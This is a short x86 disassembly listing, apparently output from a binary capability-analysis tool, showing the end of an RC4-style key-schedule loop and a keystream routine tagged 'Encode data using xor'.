cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4b0fd8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4b10b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4b1103
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4b10ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret